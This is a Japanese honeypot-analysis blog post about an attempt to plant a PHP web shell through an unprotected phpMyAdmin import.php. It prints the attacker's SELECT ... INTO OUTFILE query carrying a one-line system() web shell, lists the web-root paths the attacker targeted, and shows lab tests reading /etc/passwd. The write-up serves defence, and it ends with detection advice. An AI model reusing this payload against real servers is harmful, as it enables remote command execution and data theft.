www.morihi-soc.net

セキュリティの話題を中心に取扱中

ハニーポット観察記録(36)「phpMyAdminの設定不備を狙ったWebShell作成の試み」

どうも。ハニーポッターの森久です。

WOWHoneypot で phpMyAdmin の設定不備を狙った WebShell 作成の試みを検知しました。
phpMyAdmin はデータベースソフトウェアの1つである MySQL を Web から管理するプログラムの1つです。手軽に利用することができ非常に人気の高い反面、攻撃の対象になることも多いです。
phpMyAdmin をインストールするときに、通常はパスワードを設定します。これは正規のユーザ以外が、データベースを操作する画面にアクセスできないように制限するためです。

phpMyAdminログイン画面

 

しかし何らかの手違いによりパスワード設定をしなかったり、弱いパスワード(辞書に載っているような単語や推測可能な文字列)を設定していたりすると、攻撃者に不正ログインされてしまいます。
今回は、phpMyAdmin の操作画面にアクセスした攻撃者の行動を検知したので紹介します。

 

検知した攻撃リクエスト

※一部の情報を意図的に伏せています。また見やすさのために、URL エンコードされていた部分をデコードしています。

アクセスしている URL を確認すると、/phpmyadmin/import.php ですね。
phpmyadmin というパスは、phpMyAdminが動作していそうなところを指定したと考えられます。
import.php は、その名の通り手元のデータベースのデータをアップロードすると、ファイル内容を解釈して MySQL にデータを挿入します。
実行されるクエリは、データ部分に含まれている「sql_query」パラメータの値です。
一番最初の SELECT 文に注目してみましょう。

SELECT “CMD2017<br><pre><?php @system($_GET[‘cmd’]);?></pre>” INTO OUTFILE ‘/Applications/MAMP/htdocs/cmx.php’;

解釈すると CMD2017 から始まる文字列を INTO 構文を使って指定したパスに書き込むというクエリです。
重要なポイントは、1)CMD2017 から始まる文字列、2)指定されているパスです。

 

CMD2017 から始まる文字列

まずは CMD2017 から始まる文字列を読み解きます。
結論からいうと WebShell です。WebShell は Web サーバを操作するためのプログラムです。攻撃者はこのファイルを通じて、あんなことやこんなことができてしまいます。
検証環境にて、この文字列を含んだ php ファイルを作成してブラウザからアクセスしてみます。

 

WebShellへアクセスした結果

ファイルへアクセスすると「CMD2017」という文字列が表示されただけでした。
WebShell の中身を読み解くと PHP のプログラムが含まれています。system()関数を利用して、GET メソッドの cmd パラメータに指定した OS コマンドを実行するという内容です。
試しに whoami コマンドを実行してみます。

WebShellでwhoamiコマンドを実行

whoami コマンドが実行された結果として「www-data」という Apache の実行ユーザ名が取得できました。
さらに /etc/passwd ファイルを閲覧してみましょう。

WebShellで/etc/passwdを表示

はい。あかんやつですね。がっつり passwd ファイルの内容が読み取れています。
このように CMD2017 から始まる文字列は、OS コマンド実行の機能を備えた WebShell ということがわかりました。

 

指定されたパス

攻撃者にとって、WebShell はアップロードできてしまえば最初の目的は達成できます。そこで攻撃対象の Web サーバのディレクトリ構成がどのようになっているかわからなくても、とりあえずデフォルト設定で使われていそうなパスをいくつも指定しています。

今回指定されたパスは次の通りです。

  • /home/www-data/htdocs/cmx.php
  • /home/www/htdocs/cmx.php
  • /opt/lampp/htdocs/cmx.php
  • /opt/lampp/htdocs/webalizer/cmx.php
  • /share/MD0_DATA/Qweb/cmx.php
  • /svr/www/htdocs/cmx.php
  • /usr/local/apache/htdocs/html/cmx.php
  • /usr/local/apache/htdocs/manual/cmx.php
  • /usr/local/apache/htdocs/www/cmx.php
  • /usr/share/nginx/cmx.php
  • /usr/share/nginx/html/cmx.php
  • /var/www/cmx.php
  • /var/www/htdocs/cmx.php
  • /var/www/html/cmx.php
  • c:/inetpub/www/cmx.php
  • c:/inetpub/wwwroot/cmx.php
  • C:/Program Files (x86)/Zend/Apache2/htdocs/cmx.php
  • c:/wamp/www/cmx.php
  • c:/xampp/htdocs/cmx.php
  • d:/inetpub/www/cmx.php
  • d:/inetpub/wwwroot/cmx.php
  • d:/wamp/www/cmx.php
  • d:/xampp/htdocs/cmx.php

 

Apache や Nginx はもちろんのこと、IIS や XAMPP といった複数の Web サービスを対象にしています。
作成するファイル名は cmx.php で統一しているため、攻撃の成功可否の確認は「攻撃対象のドメイン/cmx.php」にアクセスして、CMD2017の文字列が応答内容に含まれるかどうかで判定できます。
実際、WOWHoneypot のログを確認すると、検知した攻撃リクエストの次に cmx.php に対する GET リクエストがありました。
しかしながら WOWHoneypot にこの攻撃に適合する Match&Response Rule がなかったので、攻撃者は攻撃失敗と判断し、OS コマンド実行の核心部分まで検知することはできませんでした。

 

まとめ

今回は phpMyAdmin の設定不備を突いた WebShell 作成の試みを紹介しました。
phpMyAdmin にパスワードやその他のアクセス制限がされていなかったり、攻撃者が何らかの方法でパスワードを知り得た場合、データベースのデータを挿入する import.php を悪用して 、WebShell をさまざまなパスに作成しようとしています。
phpMyAdmin は便利ですが、アクセス制限はきちんと設定しておきましょう。
もし phpMyAdmin を使っていて、設定に不安がある人は、今回の事例であれば cmx.php というファイルで WebShell が作成されるため、このようなファイルが Web サーバの中に存在しないか、もしくは CMD2017 という文字列を含んだ php ファイルが作成されていないか grep してみるといいでしょう。


告知

今回の記事では WebShell の1つを紹介しました。ハニーポットを運用していると、WebShell はいろいろな種類を見ることができます。
そこで私の経験や調査結果などをふまえて、WebShell だけを取り上げた同人誌「WebShell 図譜」を作成しました。
内容は、WebShell の機能を分類して解説したり、WebShell そのものをスクリーンショットとともに見るデジタル標本、さらにはハニーポッター向けの WebShell 解析のテクニックなどをまとめました。
WebShell 図譜は、次回のコミックマーケット93の1日目(12月29日)東3ホール キ-45bにて頒布します。こちらのページで紹介していますので、よろしければどうぞ。

 

Written by morihisa

12月 15th, 2017 at 4:41 pm